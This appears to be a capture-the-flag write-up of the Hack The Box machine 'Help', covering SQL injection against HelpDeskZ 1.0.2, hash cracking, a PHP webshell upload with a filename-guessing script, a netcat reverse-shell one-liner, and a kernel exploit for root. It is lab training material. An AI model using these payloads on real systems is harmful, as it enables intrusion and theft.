Help is an easy-level machine that presents two ways for exploitation. The first option involves leveraging an arbitrary file upload vulnerability, while the second option utilizes an authenticated SQL injection to gain access to a user account. We escalate privileges by exploiting an outdated Linux kernel.
Reconnaissance
Nmap
The output of the scan tells us that there are two HTTP servers:
- Apache on port 80
- Node.js on port 3000
┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ nmap -sCV -p- 10.10.10.121 -oA tcp_sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 14:40 CET
Nmap scan report for help.htb (10.10.10.121)
Host is up (0.030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.05 seconds
HTTP - TCP 80
Querying the IP address we notice that we are trying to reach help.htb, therefore we need to add a new entry to our /etc/hosts file.
┌──(iwo㉿kali)-[~]
└─$ sudo sh -c 'echo "10.10.10.121 help.htb" >> /etc/hosts'
We are greeted by the Apache2 Ubuntu default page.
Scanning the directories with ffuf.
┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ ffuf -u http://help.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -ic -recursion -recursion-depth 1
<SNIP>
support [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 29ms]
[INFO] Adding a new job to the queue: http://help.htb/support/FUZZ
javascript [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 29ms]
[INFO] Adding a new job to the queue: http://help.htb/javascript/FUZZ
[Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 4773ms]
[Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 31ms]
[INFO] Starting queued job on target: http://help.htb/support/FUZZ
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 46ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/images/
[Status: 200, Size: 4413, Words: 1502, Lines: 97, Duration: 76ms]
uploads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/uploads/
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 28ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/css/
includes [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/includes/
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/js/
views [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 34ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/views/
controllers [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/controllers/
[Status: 200, Size: 4413, Words: 1502, Lines: 97, Duration: 60ms]
[INFO] Starting queued job on target: http://help.htb/javascript/FUZZ
[Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 40ms]
[Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 30ms]
jquery [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 32ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/javascript/jquery/
After entering /support we find ourselves on a HelpDeskZ platform. It is a free PHP based software which allows you to manage your site’s support with a web-based support ticket system.
There is a login panel. Unfortunately, HelpDeskZ doesn’t have any default credentials, instead we insert credentials during an installation process. Testing common credentials brings us no luck.
Going through its GitHub repo we notice that there is a README.md file in the root directory. The version is 1.0.2. Besides PHP, it utilizes a MySQL database.
HelpDeskZ 1.0.2 is vulnerable to arbitrary file upload and authenticated SQL injection.
┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ searchsploit helpdeskz 1.0.2
--------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------- ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download | php/webapps/41200.py
--------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
There is the Submit a Ticket form with the file upload.
HTTP - TCP 3000
On port 3000 we find an HTTP API. Upon entering, we get the following message:
Inspecting the response headers tells us that the website is run using Express.
We need some sort of query to find the credentials.
A quick Google search reveals GraphQL.
Funny enough, it actually works. I feel like we just saved some time. Here’s the correct syntax:
Initial foothold
Authenticated SQL injection
HackTricks helps a lot here. We are able to find the query revealing a username and a password hash.
Cracking a hash
We use hashid to identify the hash. It’s probably an MD5.
┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ hashid -m -j 5d3c93182bb20f07b994a7f617e99cff
Analyzing '5d3c93182bb20f07b994a7f617e99cff'
[+] MD2 [JtR Format: md2]
[+] MD5 [Hashcat Mode: 0][JtR Format: raw-md5]
[+] MD4 [Hashcat Mode: 900][JtR Format: raw-md4]
[+] Double MD5 [Hashcat Mode: 2600]
[+] LM [Hashcat Mode: 3000][JtR Format: lm]
[+] RIPEMD-128 [JtR Format: ripemd-128]
[+] Haval-128 [JtR Format: haval-128-4]
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5 [Hashcat Mode: 8600][JtR Format: lotus5]
[+] Skype [Hashcat Mode: 23]
[+] Snefru-128 [JtR Format: snefru-128]
[+] NTLM [Hashcat Mode: 1000][JtR Format: nt]
[+] Domain Cached Credentials [Hashcat Mode: 1100][JtR Format: mscach]
[+] Domain Cached Credentials 2 [Hashcat Mode: 2100][JtR Format: mscach2]
[+] DNSSEC(NSEC3) [Hashcat Mode: 8300]
[+] RAdmin v2.x [Hashcat Mode: 9900][JtR Format: radmin]
We easily crack the hash revealing it’s underlying password.
┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ hashcat -a 0 -m 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
<SNIP>
5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz
Authenticated access
We can now log in to the HelpDeskZ website.
Authenticated SQL injection
Unfortunately, the exploit code doesn’t work, however I can read it and execute the attack manually.
We need to submit a ticket after logging in. This ticket must have a file attachment, it could be empty but I will use a picture of a cat from the internet.
Submitting a ticket.
The download link help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 is vulnerable to a blind SQL injection.
By appending and 1=1-- - at the end of the URL we will download the attachment, our cat.jpg.
However, and 1=2-- - returns an error.
We can either give a true statement and download the attachment (cat.jpg) or a false one and get an error (Whoops!).
Let’s copy the unedited request and save it as a file to use it with sqlmap.
We run the following sqlmap command to dump the content of the database:
┌──(iwo㉿kali)-[~/boxes/help/requests]
└─$ sqlmap -r req --level=5 --risk=3 -p param[] --dbms=MySQL --dump
Reviewing the output of the sqlmap dump, we find a password Welcome1.
┌──(iwo㉿kali)-[~/…/output/help.htb/dump/support]
└─$ cat staff.csv
id,email,login,avatar,admin,status,fullname,password,timezone,username,signature,department,last_login,newticket_notification
1,support@mysite.com,1547216217,NULL,1,Enable,Administrator,d318f44739dced66793b1a603028133a76ae680e (Welcome1),<blank>,admin,"Best regards,\r\nAdministrator","a:1:{i:0;s:1:""1"";}",1543429746,0
Getting a shell
We try to ssh using different usernames and the user help works. We retrieve the user flag.
┌──(iwo㉿kali)-[~/boxes/help]
└─$ ssh help@10.10.10.121
<SNIP>
help@help:~$ cat user.txt
7f1f3f**************************
Alternative way - Arbitrary file upload
HelpDeskZ allows the upload of files with the .php extension, however their filenames get obfuscated when they are uploaded. The obfuscation is predictable as it is using the following pattern:
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
The new filename is an MD5 hash of a filename concatenated with current time, then the extension is applied.
We also need to know a directory where uploaded files are saved. Before, we used ffuf to brute force the directories and the scan results revealed /support/uploads. Let’s search for the full path.
┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ ffuf -u http://help.htb/support/uploads/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -ic
<SNIP>
articles [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 29ms]
tickets [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 35ms]
We can assume it is the /support/uploads/tickets, as we upload the files using a ticket form.
Uploading a webshell
We will utilize a simple php webshell and upload it using the form. We don’t need to be authenticated to do this.
┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ cat webshell.php
<?php system($_REQUEST['cmd']); ?>
We get an error, however we ignore it as the file went through.
Preparing the script
The script will brute force all possible obfuscated filenames to reveal where our webshell will be located.
Let’s copy the exploit into our directory.
┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ cp "$(locate php/webapps/40300.py)" .
┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ ls
40300.py
Retrieving the obfuscated webshell
We have to update the exploit script, so it works without any errors.
- We add the missing parentheses after print functions
- We encode the string before hashing it
- We use time library instead of datetime for clarity
- We search for our payload for the past 60 minutes instead of 5 minutes
import hashlib
import sys
import requests
import time
print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')
if len(sys.argv) < 3:
print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
try:
r = requests.get(helpdeskzBaseUrl)
# Gets the current time of the server to prevent timezone errors
currentTime = int(time.time())
for x in range(0, 60*60):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode()).hexdigest()
url = helpdeskzBaseUrl + md5hash + '.php'
response = requests.head(url)
if response.status_code == 200:
print('Found!')
print(url)
sys.exit(0)
except Exception as e:
print(f"An error occurred: {e}")
print('Sorry, I did not find anything')
We run the exploit and find the obfuscated webshell.php.
┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ python3 40300.py http://help.htb/support/uploads/tickets/ webshell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://help.htb/support/uploads/tickets/26ffa6665e2ed9d76a93cba7aa9db84d.php
Testing the webshell using curl.
┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ curl -s http://help.htb/support/uploads/tickets/26ffa6665e2ed9d76a93cba7aa9db84d.php?cmd=id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
It works!
Getting a shell
Reverse shell as the user help.
┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ curl -s 'http://help.htb/support/uploads/tickets/26ffa6665e2ed9d76a93cba7aa9db84d.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.17+1234+>/tmp/f'
Upgrading the shell and retrieving the user flag.
┌──(iwo㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.121] 60540
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
help@help:/var/www/html/support/uploads/tickets$ ^Z
zsh: suspended nc -lvnp 1234
┌──(iwo㉿kali)-[~]
└─$ stty raw -echo; fg
[2] - continued nc -lvnp 1234
reset
reset: unknown terminal type unknown
Terminal type? screen
help@help:/home/help$ cat user.txt
7f1f3f**************************
Privilege escalation
Enumeration
During enumeration, we discover an outdated Linux kernel. We Google for potential exploits, finding several viable options.
help@help:~/help$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
The one we are going to use is CVE-2017-16995 - 44298.c.
Exploiting
We transfer the exploit code to our target host.
help@help:/tmp$ wget http://10.10.14.17:1337/44298.c -O 44298.c
--2025-01-24 14:31:06-- http://10.10.14.17:1337/44298.c
Connecting to 10.10.14.17:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [text/x-csrc]
Saving to: ‘44298.c’
44298.c 100%[===========================================================================================>] 5.88K --.-KB/s in 0.001s
2025-01-24 14:31:06 (6.50 MB/s) - ‘44298.c’ saved [6021/6021]
We compile the exploit and run it.
help@help:/tmp$ gcc 44298.c -o pwn
help@help:/tmp$ chmod +x pwn
help@help:/tmp$ ./pwn
task_struct = ffff88001ee10e00
uidptr = ffff88003732fcc4
spawning root shell
root@help:/tmp# cat /root/root.txt
d967b8**************************
We obtained root privileges and compromised the web server! :)